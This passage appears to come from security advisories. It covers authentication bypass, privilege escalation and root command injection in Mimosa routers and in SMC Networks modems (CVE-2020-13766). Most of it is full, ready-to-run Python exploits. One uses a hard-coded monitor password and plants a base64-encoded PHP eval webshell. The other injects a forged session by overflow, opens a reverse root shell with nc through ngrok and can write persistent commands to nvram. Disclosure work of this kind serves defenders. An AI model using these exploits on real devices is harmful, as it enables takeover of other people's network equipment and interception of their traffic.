       if (isset($_GET['q'])) { //parse action from url querystring
           $array = explode('.', $_GET['q']);
           if (count($array)) {
               Application::$controller['name'] = strtolower(array_shift($array));
               if (count($array)) {
                   Application::$controller['action'] = strtolower(array_shift($array));
              }
          }
           unset($_GET['q']);
      }
  }
...
//line 277
class Controller extends Application { // The controller class handles authentication
...
//line 308
$noCheckController = array( // This are the controllers and functions that won't require authentication
           'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'),
           'info' => array('device'),
           'preferences' => array('changepass'), //<-- The bug is here
           'tools' => array('antenna_data')
      );

As can be seen above, the authentication exemptions contain the preferences endpoint (reachable at <router_ip>/index.php?q=preferences.preferences). This is where the Privilege Escalation and Authentication bypass bugs occur, lets take a look at the controller code and see what we can do.

File: /var/www/core/controller/preferences.php

//line 111 
  public function changepass() {
       if(self::$isPost) { // Checks if the request sent is POST
           $saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request
           foreach($saveArray as &$value) {
               $value = md5($value); // md5 hashing the password value
          }
           $_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui)
           $this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value.
           Flags::create('password_modified');
      }
  }

As can be seen above the bugs are pretty straight forward. And very easy to exploit.

The first bug lets us escalate our session to super user, this was not trivial to exploit since we need to login for the session to work. There is a code block that checks session timeout using variables from the $_SESSION super global. But this value will not be set unless we are logged in, and if it’s not set authentication fails. But luckily mimosa has a hard coded web user (monitor:mimosa) that can login with minimal privileges and whats even better there is no option to change the password for this user or disable it. Using the hard coded credentials and the privilege escalation we can get full admin access to the web UI.

The second bug is pretty trivial. We can change the password of the super user without the need to authenticate. This lets us log in with our new password and take full control. The PoC exploit below exploits both these bugs for RCE.

Remote Command Execution

The RCE requires an authenticated admin session to exploit, By using one of the two bugs described above, we can get a valid session and exploit the bug. The RCE is pretty simple so lets take a look at the code. File /var/www/core/controller/wireless.php

public function powerRange() {
$isR5 = $this->product == 'B02';
$bw = $_GET['bw'];
$freq1= $_GET['freq'];
$freq2 = $_GET['freq2'];
       $country = country();

if ((strlen(substr($bw, 2)) > 2))
$bw = '3' . str_replace(' FD','',substr($bw, 2));
else
$bw = substr($bw, 2);

       $cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2";
       if ( MIMOSA_PRODUCT == 'B11') {
           $cmdRemote = $cmdLocal  = $cmd;

           $cmdLocal .= " gain ". $_GET['gain'];
           $cmdRemote.= " gain ". $_GET['gainRemote'];

           $minMaxLocal = array();
           $minMaxRemote = array();

           $lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1]));
          }

           $lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1]));
          }
           $this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]),
               'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1]));
      }
       else {
if ($isR5) {
if (intval($_GET['gain']) > intval($_GET['gainRemote']))
$cmd .= " gain ". $_GET['gain'];
else
$cmd .= " gain ". $_GET['gainRemote'];
}
$lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
$minMax = array();

foreach ($lines as $key => $line) {
$x = explode(':', $line);
$minMax[] = array((int) trim($x[2]), (int) trim($x[1]));
}
if(count($minMax) > 1) {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]),
'Power2' => range($minMax[1][0], $minMax[1][1]));
} else {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]));
}
}

As you can see from the above code, the function powerRange (reachable at <router_ip>/index.php?q=wireless.powerRange) executes a command using doCmd (a wrapper) without any type of filtering. The code has 2 paths if the product is B11 and if it is not (Other models) but the RCE will happen in both cases.

As a side note the /var/www/ directory is not writable by default (squashfs filesystem) and you have to get around that by using a bind mount /var/www/help/ to /tmp/<some_dir> to upload a shell.

Demo

Exploit

#!/usr/bin/python2
import sys
import json
import requests
import urllib3
from base64 import b64encode as encode 

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class MimosaExploit():
	def __init__(self,url):
		self.url = url
		self.cookie = None

	def get_version(self):
		print '[+] Fingerprinting device.'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'})
		if r.status_code != 200:
			print "[-] Failed to fetch device info, Are you sure this is mimosa device?"
			return False
		else:
			try:
				data = json.loads(r.text)
				print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version'])
				return True
			except Exception:
				print '[-] Failed to parse device info.'
				return False

	def LoginMonitor(self):
		print '[+] Attempting to login as the monitor user (lowest privilege)'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :('
			print '[+] Try using the password change exploit?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	
	def LoginAdmin(self):
		print '[+] Attempting to login as the admin user'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :(, maybe retry?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	
	def EscalatePrivilege(self):
		print '[+] Escalating privilege to Super User'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to escalate privileges'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to escalate privileges, Invalid response'
			return False
		print '[+] Successfully got Super User privileges'
	
	def ChangeAdminPassword(self):
		print '[+] Changing the admin password to admin'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to change the password'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to change the password, Invalid response'
			return False
		print '[+] Successfully changed the admin password'
	
	def ExploitRCE(self,Shell=True):
		print '[+] Beginning RCE exploit'
		if Shell == False:
			cmd = raw_input("Input command you want to execute> ")
		else:
			# Shell base64 decoded
			#<?php
			#eval(base64_decode($_REQUEST['p']));
			#?>
			cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php"
		
		r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200 and r.text.lower().find('power') == -1:
			print '[+] Executing the command might have failed'
			return False
		else:
			print '[+] Successfully executed the command'
		if Shell == True:
			print '[+] Checking if shell is uploaded'
			r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")})
			if r.status_code == 200 and r.text.strip() == '_UPLOADED_':
				print '[+] Shell is uploaded'
			else:
				print '[-] Uploading the shell might have failed, retry?'
				return False
			ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ")
			if ch.lower() == 'y':
				print '[+] Running an interactive command shell'
				print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code'
				while True:
					cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip()
					if cmd == "quit":
						print '[+] Exiting command shell.'
						return True
					elif cmd == 'clean_up':
						cmd = encode('system("rm -rf load_help.php && echo __DONE__");')
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd})
						if r.status_code != 200:
							print '[+] Something went wrong while executing the command'
						elif r.text.strip() == '__DONE__':
							print '[+] Exploit cleaned up, exit now please'
					elif cmd.startswith("php "):
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])})
						if r.status_code != 200:
							print '[+] Execution Failed.'
						else:
							print r.text
					r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')})
					if r.status_code != 200:
						print '[+] Something went wrong while executing the command'
						print r.status_code
						print r.text
					else:
						print r.text
			else:
				print '[+] Your shell should be at {}/help/load_help.php'
				print '[+] use GET/POST parameter p to execute php code'
				print '[+] Note the php code sent through p has to be base64 encoded'
				return True
		else:
			print '[+] Command should be executed'
			return True
	
	def run(self):
		print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit'
		print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) '
		ch = raw_input('Choice> ')
		if ch == "1":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.LoginMonitor() == False):
				print '[-] Failed to Login using hardcoded creds, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)
		if ch == "2":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.ChangeAdminPassword() == False):
				print '[-] Failed to change creds, Bailing'
				exit(0);
			if(self.LoginAdmin() == False):
				print '[-] Failed to Login as admin, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)	


if __name__ == "__main__":
	if len(sys.argv) < 2:
		print 'Usage: {} <url>'.format(sys.argv[0])
		exit(0)
	ex = MimosaExploit(sys.argv[1])
	ex.run()

SSD Advisory – SMC Networks Session and Command Injection

TL;DR

Find out how we managed to inject an auth session into the device and through it gain a reverse root tcp shell in SMC Networks devices.

Vulnerability Summary

SMC Networks provides many Network products, one of them is Modems.
SMC’s Modems are used to transmit data over between your connected devices in your Network.
A vulnerability in SMC Networks Modems route callback allows attacker to inject code/sessions and gain reverse root shell.

CVE

CVE-2020-13766

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

D3G1604W-4.2.3.8.1-GW_GA,

D3G0804W-3.5.2.7-LAT_GA,

SMCD3GNV5M-3.5.2.5-LAT_GA,

D3G0804W-3.5.2.5-LAT_GA,

SMCD3GNV5M-3.5.1.6.10_GA,

SMCD3GNV5M-3.5.1.6.5-GA,

D3G0804W-3.5.1.7_GA,

SMCD3GNV5M-3.5.1.7_GA,

SMCD3GNV5M-3.5.2.7-LAT_GA,

D3G0804W-3.5.1.6.10_GA,

D3G1604W-4.2.3.6.3-GW_GA,

SMCD3GNV5M-3.5.1.6.3_GA,

D3G0804W-3.5.1.6.3_GA

Vendor Response

We tried to contact the vendor several times via email and twitter, and we were unable to receive any response or acknowledgement to our attempts.

Vulnerability Details

In SMC Networks products the function that handles the “/goform/formParamRedirectUrl” route callback has a parameter “param_str” that is copied on a global object “pCgrGuiObject” at an offset of 0x1c.

This shared object is found in the “/usr/cgr/lib/libgui.so” code. This global object provides many different types of functions including managing and validation of sessions.

Using an unbounded strcpy in the callback mentioned above we are able write a crafted message and overwrite the session data and add our own session to the global object. Subsequent requests sent after this session injection has occurred will show up as authenticated.

Once we are authenticated we can the endpoint “/goform/formSetDiagnosticToolsFmPing”’s “vlu_diagnostic_tools__ping_address” parameter which is not filtered and can be used to inject command into the OS.

The vulnerable code is found inside the “/usr/cgr/bin/modules/diagnostic_tools/diagnostic_tools.so” file.

The parameter we can use to inject data and run it as root, is limited to 32 characters, we therefore need to break any longer commands we want to run to several smaller commands and then chain them together.

Demo

Exploit

In the demo below we are getting simple reverse tcp shell, with the use of ngrok and not using public ip. You can change in the code the ngrok to public ip.

Also ngrok’s ips are riddled with random traffic of the previous user tied to that port. If any such traffic occurred it will throw off the revere shell listener ncat which is why the shell won’t drop. in such case close and restart the script. The endpoint won’t crash if the process is interrupted. Or switch to a public ip:port option.

sbin/env -S -- /usr/bin/python3

import threading
import requests
import os
import time
import re
import subprocess
import sys
import json
import argparse
import gzip
import random
import logging
import urllib3
import urllib.parse
import string 
from base64 import b64encode

class SMC:
	def __init__(self, url, pseudonym, ngrok_auth_token = '', shell_listen_ip = '', shell_listen_port = 8888):
		self.make_model = "SMC"
		self.vuln_type = "Root RCE"
		self.pseudonym = pseudonym
		
		#array of callbacks with functionality with a minumum of [shell, device_check, ...]
		self.functionalities = {
			"DEVICE_CHECK" : [self.device_check,"Checks if device is the target model and version range"],
			"VULNERABLE_CHECK" : [self.vulnerable_check,"Checks if device is vulnerable."],
			"DROP_SHELL" : [self.shell_drop,"Drops an interactive shell using the vulnerability."],
			"EXECUTE_COMMAND" : [self.execute_command,"Executes a single command."],
		}
		url_regex = re.compile(r"http[s]?://((?:[a-zA-Z\.\-]|[0-9]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+)(?:[:]([0-9]{1,5}))?", re.IGNORECASE)
		url_match = re.match(url_regex, url)
		if url_match:
			self.url = url.strip("/")
			self.ip = url_match.group(1)
		else:
			logging.critical("Invallid url provided. Exiting...")
			exit(1)
		
		self.ngrok_auth_token = ngrok_auth_token
		self.shell_listen_ip = shell_listen_ip
		self.shell_listen_port = shell_listen_port
		self.cookies = {"session": "19e73828937f05e6f709e29efdb0a82b394141666",}
		self.dir_path = os.path.dirname(os.path.realpath(__file__))
		self.session_injected = False
		self.feedback_already_set_up = False
		self.rtcp_command_sent = False
		# self.rando = "".join(random.choices(string.ascii_uppercase + string.digits, k = 3)) # "SMC" #
		self.cmd_loc = '/tmp/t'
		self.persistent_cmd_loc = '/nvram/0/sys_setup.sh'
		self.shell_prompt = f"{self.make_model}@{self.ip}>|"

		self.configs = []
		self.logs = []

	def present_functionalities(self):
		print("---------------------------------------------------------------------------------------------")
		print("Exp 0.1.3 - {} - {} - by {}".format(self.make_model, self.vuln_type, self.pseudonym))
		for number,(key, functionality) in zip(range(1,len(self.functionalities)+1), self.functionalities.items()) :
			print("\t[{}]-{} => {}".format(number, key, functionality[1]))
		print("\t[{}]-{} => {}".format(0, "EXIT", "Gracefully exit wiping traces of presence."))

	def run(self):
		logging.info("Operating on {} - . - by {}".format(self.url,  self.pseudonym))
		if (self.device_check()):# and self.vulnerable_check()):
			self.present_functionalities()
			choice = float('inf')
			while choice != 0:
				try:
					choice = int(input("----------Choice-> "))
					while (type(choice) == int and 0 < choice <= len(self.functionalities)):
						self.functionalities[list(self.functionalities.keys())[choice - 1]][0]()
						self.present_functionalities()
						choice = int(input("----------Choice-> "))
				except ValueError as e :
					logging.debug(e)
					print("Numbers only!!", end="")
					pass
		else:
			logging.critical(f"Target {self.url} is not available or of the right device type.")
			self.quit()
			exit(1)
		self.quit()

	#FUNCTIONILITY["DEVICE_CHECK"]
	#checks if device is the target model and version
	def device_check(self):
		try:
			logging.info("Checking if the given address is a SMC Device")
			req = requests.get(self.url+"/home.asp", verify=False)
			if req.status_code != 200:
				logging.critical("Invalid response to probe request for device checking, Exiting..")
				return False
			response_html = req.text
			title_regex = re.compile(r".*<title>.*SMC.*</title>.*", re.IGNORECASE)
			if not title_regex.search(response_html):
				logging.critical("The URL does not appear to be a SMC Device, Exiting")
				return False
			# TODO: add more fingerprinting functionality
			logging.info("Device is a SMC Device :!)")
		except Exception as ex:
			logging.critical(f"Error {ex} occured while checking the device")
			return False
		return True
		
    #FUNCTIONILITY["VULNERABLE_CHECK"]
	#check if device is vulnerable
	def vulnerable_check(self):
		logging.info("Checking if the SMC Device is vulnerable.")
		test_code = "".join(random.choices(string.ascii_uppercase + string.digits, k = 10))
		output = self.execute_command(f"echo -n {test_code}", feedback=True)
		self.rtcp_command_sent = False
		if test_code in output:
			logging.info("SMC Device is vulnerable.")
			return True	
		logging.info("SMC Device not is vulnerable. Terminating!!!!!")
		return False

	#FUNCTIONILITY[DROP_SHELL]
	#drop to an interactive shell
	def shell_drop(self):
		listen_port = self.shell_listen_port
		if self.ngrok_auth_token != '':
			listen_port, ngrok_process_handle = self.listen_on_ngrok()
		
		if listen_port is not None :
			t1 = threading.Thread(target=self.listen_for_incoming_shell)
			t1.start()
			try:
				if t1.is_alive():
					command = f"rm /tmp/SMC;mkfifo /tmp/SMC;cat /tmp/SMC|/bin/sh -i 2>&1|nc {self.shell_listen_ip} {listen_port} >/tmp/SMC"
					self.execute_command(command, already_injected=self.rtcp_command_sent)
					self.rtcp_command_sent = True
					logging.info("You should have a shell by now %)")
					logging.info("Run 'kill `ps | grep [c]gr_httpd|awk '{$1=$1};1'|cut -d' ' -f1`;/usr/cgr/bin/cgr_httpd &' to make webportal function normally [RECOMMENDED].")
					t1.join()
			except Exception as e:
				print(e)
				pass
		else:
			logging.debug("Problem setting up a ngrok tunnel to the provided listening port.")
			logging.info("Error.")
		# ngrok_process_handle.terminate()

	#FUNCTIONILITY[EXECUTE_COMMAND]
	def execute_command(self, cmd="", feedback=False, already_injected=False, persistent=False):
		if cmd == "":
			self.rtcp_command_sent = False
			cmd = input("Command : ")
			feedback = False if (str.upper(input("Do you need to see the output of the commad? [Y]/N: ")) == "N") else True
			persistent = True if (str.upper(input("Store the command persistently? Y/[N]: ")) == "Y") else False

		self.inject_session()

		if feedback:
			cmd += " 2>&1 >/usr/cgr/www/vpn/output;"
			if not self.feedback_already_set_up:
				# set up tmp area in www
				feedback_setup_command = "mount -t tmpfs tmpfs /usr/cgr/www/vpn;"
				self.execute_command(feedback_setup_command)
				self.feedback_already_set_up = True

		if persistent:
			cmd = cmd.strip().strip(';')
			cmd += f";echo \"/usr/sbin/iccctl start;{cmd};\">{self.persistent_cmd_loc};"

		logging.info(f"Transmitting command '{cmd}'")
		if not already_injected:
			command = f"rm /tmp/t /usr/cgr/www/vpn/*"
			short_single_command_data = f"vlu_diagnostic_tools__ping_address==$({command})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=short_single_command_data, verify=False)

			# chop_up_command 
			params_format = "vlu_diagnostic_tools__ping_address=$(echo -n '{}'>>{})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			compressed_command = b64encode(gzip.compress(cmd.encode('ascii')))
			logging.debug(f"Transmitting command {cmd} compressed as {compressed_command}")
			cmd_list = [compressed_command[x:x+11] for x in range(0,len(compressed_command),11)]
			for cmd_bit in cmd_list:
				print(".", end="", flush=True)
				# logging.debug(cmd_bit.decode())
				logging.debug("$(echo -n '{}'>>{})".format(urllib.parse.quote(cmd_bit), self.cmd_loc))
				response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=params_format.format(urllib.parse.quote(cmd_bit), self.cmd_loc), verify=False)
				logging.debug(f"Response wile transmitting command bit {cmd_bit} => {response.headers}")

		try:
			logging.info(f"Executing command...")
			data = f"vlu_diagnostic_tools__ping_address=$(cat {self.cmd_loc}|base64 -d|zcat|sh)&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, timeout=5, data=data, verify=False)
			# logging.info("Done executing command.")
		except requests.exceptions.ReadTimeout:
			pass
		except requests.exceptions.ConnectionError as e:
			logging.info("Target Disconnected")
			pass
			
		if feedback:
			try:
				response = requests.post(f"{self.url}/vpn/output", cookies=self.cookies, timeout=5, data=data, verify=False)
				return response.text
			except requests.exceptions.ReadTimeout:
				pass

	#FUNCTIONILITY[EXIT]
	#reboot seems the cleanest way
	def quit(self):
		if self.session_injected:
			self.execute_command("rm /tmp/t /tmp/SMC; umount /usr/cgr/www/vpn; kill `ps | grep [c]gr_httpd|awk '{$1=$1};1'|cut -d' ' -f1`;/usr/cgr/bin/cgr_httpd &")
		os.system("pkill -xe ngrok")
		os.system("pkill -xe ncat")

	################################# Unique Functions Area ####################
	def inject_session(self):
		if self.session_injected:
			return
		params_format = "param_int=78&param_str=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{}"
		injection_fuzz_list = [f"ÿÿÿAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsession={self.cookies['session']}","ÿÿ","ÿ",""]
		logging.info("Injecting Session!!!")
		for appendee in injection_fuzz_list:
			print(".", end="", flush=True)
			response = requests.post(f"{self.url}/goform/formParamRedirectUrl", cookies=self.cookies, data=params_format.format(appendee), verify=False)
		logging.info("Session injected succesfully!!!")
		self.session_injected = True

	def listen_on_ngrok(self):
		# set up ngrok subprocess
		listen_port = None
		ngrok_process = subprocess.Popen([f"{self.dir_path}/ngrok.exe", "tcp", f"{self.shell_listen_port}", "--authtoken", f"{self.ngrok_auth_token}"], stdout=subprocess.PIPE)
		time.sleep(5)
		localhost_ngrok_monitor_url = "http://localhost:4040/api/tunnels"
		tunnels = requests.get(localhost_ngrok_monitor_url).text #Get the tunnel information
		if tunnels is not None and json.loads(tunnels)['tunnels']:
			j = json.loads(tunnels)
			if self.shell_listen_port == j['tunnels'][0]['config']['addr'].split(':')[1]:
				tunnel_url = j['tunnels'][0]['public_url']
				listen_port = tunnel_url.split(":")[2]
				logging.info(f"Ngrok: Listening on {tunnel_url} -> {j['tunnels'][0]['config']['addr']}")
			else:
				ngrok_process.terminate()
				return None, None
		return listen_port, ngrok_process
		
	def listen_for_incoming_shell(self):
		print("Running ncat.exe: {}".format([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"]))
		with subprocess.Popen([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=sys.stdin, universal_newlines=True) as ncat_process:
			ncat_output = ncat_process.stdout.readlines(300)
			print("ncat_output: {}, found?: {}".format(ncat_output, any("Listening" in s for s in ncat_output)))
			ncat_status = ncat_output[1].strip().split()[1]
			print("ncat_status: {}".format(ncat_status))
			if any("Listening" in s for s in ncat_output):
				logging.info(ncat_output[1].strip())
				while ncat_process.poll() is None:
					print(self.shell_prompt, ncat_process.stdout.readline().strip())
			else:
				logging.critical(ncat_output[1].strip())
			ncat_process.terminate()


def parse_ip_port(arg_value, pat=re.compile(r"((?:[a-zA-Z\.\-]|[0-9]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+)(?:[:]([0-9]{1,5}))?", re.IGNORECASE)):
	url_match = pat.match(arg_value)
	if not url_match:
		raise argparse.ArgumentTypeError
	return url_match.group(1), url_match.group(2)

if __name__ == "__main__":
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
	# logging.basicConfig(level=logging.DEBUG)
	logging.basicConfig(level=logging.INFO)
	parser = argparse.ArgumentParser(description='SMC Root RCE params')
	parser = argparse.ArgumentParser(description='Required: public ip or ngrok authentication token to use their public ip.')
	parser.add_argument('url', metavar='IP|FQDN', type=str, help='Target URL without path')
	rev_shell_ip = parser.add_mutually_exclusive_group()
	rev_shell_ip.add_argument('--ngrok_auth_token', metavar='auth_token', type=str, nargs=1,
		help='ngrok authentication token to listen on a pulic IP for reverse shell connection.', default=[''])
	rev_shell_ip.add_argument('--listen_ip_port', metavar='ip:port', type=parse_ip_port, nargs=1, default=[('0.tcp.ngrok.io','8888')],
		help='public facing IP and port to get a shell through.')
	args = parser.parse_args()
	SMC(args.url,"unknown", args.ngrok_auth_token[0], args.listen_ip_port[0][0], args.listen_ip_port[0][1]).run()